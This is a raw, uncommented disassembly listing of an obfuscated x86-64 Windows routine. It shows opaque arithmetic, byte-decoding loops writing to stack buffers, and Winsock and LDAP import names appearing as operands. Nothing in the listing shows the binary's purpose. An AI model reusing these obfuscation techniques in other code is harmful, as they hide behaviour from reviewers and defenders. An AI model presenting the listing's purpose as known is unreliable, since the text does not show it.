mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0xc28]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007d9d2
movabs rdx, 0x1f66572498c0445e
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
lea rax, [r8 + r9]
cmp rax, 0x3e8
je 0x14007e532
lea rax, [r9 + 0x3e8]
cmp r8, rax
jbe 0x14007e292
movabs rcx, 0x6a2e172ce1db597e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x72
jmp 0x14007df38
movabs rcx, 0x5d6bcb2626755854
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4c
movzx eax, byte [rbp + rbx + 0xc28]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007d9d2
movabs rdx, 0x98e3fcbff51605a8
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x34
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14007e73d
movabs rdx, 0xd45c2e59c3b6b2fc
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14007e709
movabs rcx, 0xfd45ff392576050
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x30
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007d9d2
movabs rcx, 0x4b4c918d60f80da4
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7c
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007d9d2
movabs rdx, 0x86c4c3272f98baf8
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
jmp 0x14007e4e9
movabs rcx, 0xc23cf4c0fe39684c
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x14
dec rbx
inc rbx
jmp 0x14007d9d2
movabs rcx, 0xfdb5265accda15a0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x60
inc r9
dec rbx
inc rbx
jmp 0x14007d9d2
movabs rdx, 0x392d57f49b7ac2f4
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14007e646
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14007e1b4
movabs rcx, 0x6243e73318afa956
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5a
jmp 0x14007dfad
jne 0x14007e1f0
movabs rdx, 0x1f23ee620cd1c81c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0xc28]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007d9d2
inc rax
cmp r8, rax
jne 0x14007e21c
movabs rcx, 0xe3abbcc83e311ac8
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x78
jmp 0x14007e73d
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007e261
movabs rdx, 0x314327fad24f12cc
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007d9d2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14007dfad
movabs rcx, 0xf5caf66103ae6578
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x48
jmp 0x14007e4ef
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x14007e2bf
movabs rcx, 0x2eb5e593133aac2a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x26
jmp 0x14007e646
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007e2f7
movabs rdx, 0xb7c5825f75f95182
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x14007d9d2
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14007e324
movabs rcx, 0x7c4d50c5a758a42e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x42
jmp 0x14007e4ef
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14007e366
movabs rdx, 0x55ced920a174986
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007d9d2
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14007e397
movabs rdx, 0xc9e4bbf83b769c32
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x5e
add r10b, dl
jmp 0x14007e709
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14007e3c4
movabs rcx, 0x8e6c8a5e6cd5eede
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x12
jmp 0x14007e73d
lea rax, [r9 + 8]
cmp r8, rax
jne 0x14007df38
movabs rdx, 0x52f458c49e35418a
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0xc28]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007d9d2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14007e43d
movabs rdx, 0xc75779907c623590
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 8
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14007e709
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007e47f
movabs rdx, 0x8bdf47f6adc1883c
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007d9d2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14007dee9
movabs rcx, 0x5067165cdf20dae8
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x58
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007d9d2
movabs rdx, 0xeb95ecc2075ccaf0
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, byte [rbp + rbx + 0xc28]
add r10b, dl
add r10b, r11b
movabs rdx, 0x4dd9d3f5200c7446
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, listen
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
add cl, r10b
mov byte [rbp + rbx + 0xc28], cl
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007d9d2
movabs rdx, 0xb01dbb2838bc1d9c
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, byte [rbp + rbx + 0xc28]
sub r10b, 0x44
add r10b, dl
jmp 0x14007e709
movabs rdx, 0xf85838c8c2c2cc1a
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0xc28]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007d9d2
movabs rdx, 0x6f489bfc600426c2
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x4e
add r10b, dl
jmp 0x14007e709
movabs rdx, 0xaac0cd962ea4d416
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x33
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007d9d2
movabs rcx, 0x5d2962639a86dc12
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7e
dec rbx
inc rbx
jmp 0x14007d9d2
movabs rcx, 0xd419c59737c836ba
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x16
movabs rcx, 0x8952058eeead219a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x36
add cl, r11b
mov byte [rbp + rbx + 0xc28], cl
inc r9
dec rbx
inc rbx
jmp 0x14007d9d2
movabs rdx, 0x38eaef320f8c46b2
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007d9d2
movabs rcx, 0x746320cbde2cf406
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x2a
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007d9d2
mov r11, rdx
movabs rcx, 0xafdb5265accda15a
add rcx, rbx
and dl, cl
add dl, dl
movzx r10d, r11b
sub r10b, dl
sub r10b, 0x76
add r10b, cl
movabs rdx, 0x1261a25b516bc6f2
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0xc28], al
inc r9
add rax, r9
sub rbx, rax
movabs rdx, 0x74a5898e6a1b7048
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 4
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0xc28], cl
inc r8
mov rax, r15
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0xc28]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007d9d2
movabs rcx, 0x26cbb5994a0efc02
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
sub r10b, 0xe
movzx eax, byte [rbp + rbx + 0xc28]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007d9d2
movabs rdx, 0xd471d8bd342f9ae
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14007d9ce
movabs rcx, 0x48bf4f25a1e3a702
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0xe
jmp 0x14007d9b3
lea rcx, [rbp + 0x145d1f0]
jmp 0x14007e825
lea rcx, [rbp + 0xf57b46]
jmp 0x14007e825
lea rcx, [rbp + 0xc28]
mov dword [rbp + 0xee0], 0x64
mov dword [rbp + 0xee8], 1
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], rsi
lea rax, [rbp + 0xee0]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xee8]
lea r8, [rdi + 0x30]
mov edx, 4
call fcn.140037d20
mov byte [rbp + 0xc50], Ordinal_79
mov byte [rbp + 0xc51], 0x57
mov byte [rbp + 0xc52], 0x51
mov byte [rbp + 0xc53], 1
mov byte [rbp + 0xc54], 0x41
mov byte [rbp + 0xc55], 0xa9
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xc56], xmm0
mov qword [rbp + 0xc66], rax
mov dword [rbp + 0xc6e], eax
mov byte [rbp + 0xc72], al
movabs rdi, 0xf486a2cde9a77aa9
movabs rsi, 0xcc6ef8a847855077
movabs r12, 0x3c67ef5f2381e145
movabs r14, 0x539f19ea00818ded
movabs r13, 0xdacf3b2bb97dcb63
movzx r10d, byte [rsp + 0x40]
nop dword [rax + rax]
mov r8, qword [0x14023d108]
mov r9, qword [0x14023d100]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x14007f715
movzx r11d, byte [rbp + rbx + 0xc50]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x14007f709
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14007e94c
lea rcx, [rbx + r12]
mov rax, rdx
and rax, rcx
imul r10, rax, 0xfffffffffffffffe
add r10, rdx
add r10, rcx
add r10b, 0x1d
jmp 0x14007e985
je 0x14007f683
inc rax
cmp r8, rax
je 0x14007f5e5
lea rax, [r9 + 5]
cmp r8, rax
je 0x14007f5ae
lea rax, [r9 + 7]
cmp r8, rax
je 0x14007f584
lea rax, [r9 + 9]
cmp r8, rax
je 0x14007f530
cmp r9, rbx
ja 0x14007f700
lea rax, [r9 + 0x28]
cmp r8, rax
jae 0x14007e9af
lea rcx, [rbx + rdi]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x61
jmp 0x14007e9e2
lea rax, [r9 + 1]
cmp r8, rax
je 0x14007f50f
inc rax
cmp r8, rax
je 0x14007f4e5
lea rax, [r9 + 5]
cmp r8, rax
je 0x14007f4b1
lea rax, [r9 + 4]
cmp r8, rax
je 0x14007f47c
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x14007f05a
nop
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x14007f031
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x14007f004
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x14007efda
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x14007efb7
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x14007ef8e
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x14007ef5a
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x14007ef36
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x14007ef0d
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x14007eed3
lea rax, [r9 + 8]
cmp r8, rax
je 0x14007e9f0
lea r8, [r9 + 1]
lea r9, [r8 + 0x20]
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x14007f6db
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x14007f6b7
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x14007ebf0
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x14007ebd1
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x14007ebb6
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x14007ee75
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x14007ee16
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x14007edc4
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x14007ed95
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x14007e9f0
lea r8, [r9 + 6]
lea r9, [r8 + 0x80]
lea rax, [r9 + 1]
cmp r8, rax
ja 0x14007ed5b
lea rax, [r9 + 5]
cmp r8, rax
ja 0x14007ed32
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x14007ed0e
lea rax, [r9 + 4]
cmp r8, rax
ja 0x14007ecda
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x14007ecb1
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x14007ec8e
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x14007ec64
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x14007ec37
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x14007ec0e
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x14007e9f0
lea r8, [r9 + 0x20]
lea r9, [r8 + 0x61]
jmp 0x14007e9f0
lea rcx, [rbx + rsi]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x41
jmp 0x14007e9e2
lea rdx, [rbx + r14]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x7b
add r10b, dl
jmp 0x14007e985
lea rdx, [rbx + r13]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add dl, 0x4b
add r10b, dl
jmp 0x14007e915
movabs rdx, 0xa435166f4d3bd548
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 4
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14007f54f
movabs rcx, 0x2b6537b1063812be
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x32
inc r9
dec rbx
inc rbx
jmp 0x14007e902
movabs rcx, 0xb29558f2bf345034
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6c
dec rbx
inc rbx
jmp 0x14007e902
movabs rdx, 0x39c57a3478308daa
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
jmp 0x14007f416
movabs rdx, 0xc0f59b76312ccb20
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14007f5cd
movabs rcx, 0x4825bcb7ea290896
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1a
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007e902
movabs rcx, 0xcf55ddf9a325460c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x54
jmp 0x14007f606
movabs rdx, 0x5685ff3b5c218382
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14007f639
movabs rdx, 0xddb6207d151dc0f8
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0xc50]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007e902
movabs rcx, 0xafae73a163945a9f
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x59
mov byte [rbp + rbx + 0xc50], r10b
inc rbx
jmp 0x14007e902
movabs rcx, 0x36de94e31c909815
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x6d
cmp r9, 0x3e8
jb 0x14007edb4
movabs rcx, 0x11695fe825bfc17e
add rcx, rbx
movzx eax, cl
and al, r11b
mov edx, 7
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
lea r10d, [rdx + rdx]
jmp 0x14007f54f
movabs rcx, 0xbe0eb624d58cd58b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x33
cmp r8, 0x40
jae 0x14007f3f1
lea rax, [r9 + 8]
cmp r8, rax
jbe 0x14007f2f4
movabs rdx, 0x594aac795f9a281a
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14007ede3
movabs rcx, 0x453ed7668e891301
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 7
lea rax, [r9 + r8]
cmp rax, 9
je 0x14007f44b
lea rcx, [r9 + 2]
cmp r8, rcx
jbe 0x14007f1b4
movabs rcx, 0x64c409ab75f2ad71
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x17
jmp 0x14007ee35
movabs rdx, 0xbb27d0d379ecdff6
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0xc50]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007e902
movabs rdx, 0x4257f21532e91d6c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 6
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14007f639
movabs rcx, 0xc9881356ebe55ae2
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x2e
jmp 0x14007f606
movabs rcx, 0x50b83498a4e19858
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x68
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007e902
movabs rdx, 0xd7e855da5dddd5ce
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14007f5cd
movabs rdx, 0x5f18771c16da1344
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r10d, [rcx + rcx]
jmp 0x14007f416
movabs rcx, 0xe648985dcfd650ba
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x16
dec rbx
inc rbx
jmp 0x14007e902
movabs rcx, 0x6d78b99f88d28e30
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x50
inc r9
dec rbx
inc rbx
jmp 0x14007e902
movabs rdx, 0xf4a8dae141cecba6
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14007f54f
lea rax, [r9 + 8]
cmp r8, rax
jae 0x14007f07e
lea rcx, [rbx + r12]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x1d
jmp 0x14007ee94
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007f0bc
movabs rcx, 0xe90d459bd34ef552
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3e
movzx eax, byte [rbp + rbx + 0xc50]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007e902
inc rax
cmp r8, rax
jne 0x14007f0e8
movabs rcx, 0x61dd245a1a52b7dc
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 4
jmp 0x14007f639
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007f11a
movabs rdx, 0xdaad031861567a66
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14007f606
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14007f14b
movabs rdx, 0x451c9f533661c204
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x1c
add r10b, dl
jmp 0x14007f41c
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14007f183
movabs rdx, 0xbdec7e117d65848e
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x14007e902
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14007ee94
movabs rcx, 0xaf8c3b8e0b6d09a2
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6e
jmp 0x14007f54f
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007f1e1
movabs rcx, 0xdd93e869bcf66ffb
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x23
jmp 0x14007f54f
inc rax
cmp r8, rax
jne 0x14007f216
movabs rcx, 0x5663c72803fa3285
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x5d
inc r9
dec rbx
inc rbx
jmp 0x14007e902
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14007f247
movabs rdx, 0x480384a49201b799
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x2f
add r10b, dl
jmp 0x14007f41c
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14007f285
movabs rcx, 0x39a3422120093cad
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x45
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007e902
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007f2b2
movabs rcx, 0xb27320df670cff37
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x7f
jmp 0x14007f606
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14007ee35
movabs rcx, 0xa412de5bf514844b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xd
movzx eax, byte [rbp + rbx + 0xc50]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007e902
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007f332
movabs rcx, 0xd21a8b37a69deaa4
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7c
movzx eax, byte [rbp + rbx + 0xc50]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007e902
inc rax
cmp r8, rax
jne 0x14007f35e
movabs rcx, 0xc3ba48b434a56fb8
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 8
jmp 0x14007f606
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007f390
movabs rdx, 0xb55a0630c2acf4cc
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14007f5cd
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14007f3ba
movabs rcx, 0x2e29e4ef09b0b756
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5a
jmp 0x14007f41c
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14007ede3
movabs rcx, 0xa6f9c3ad50b479e0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x20
dec rbx
inc rbx
jmp 0x14007e902
movabs rdx, 0x8a393ea66cc38408
add rdx, rbx
movzx eax, dl
and al, r11b
add al, al
movzx r10d, byte [rbp + rbx + 0xc50]
sub r10b, al
sub r10b, 0x38
add r10b, dl
add r10b, r11b
movabs rcx, 0xc6a12e059045654d
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x1b
add r11b, cl
add r11b, r10b
mov byte [rbp + rbx + 0xc50], r11b
jmp 0x14007f5cd
movabs rdx, 0x3091d64b3c74692
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 1
sub cl, al
lea r10d, [rcx + rcx]
sub r10b, byte [rbp + rbx + 0xc50]
add r10b, dl
add r10b, r11b
jmp 0x14007f606
movabs rcx, 0x33d5777e68c95183
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x6b
movzx eax, byte [rbp + rbx + 0xc50]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007e902
movabs rcx, 0xc965db4393be09e5
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
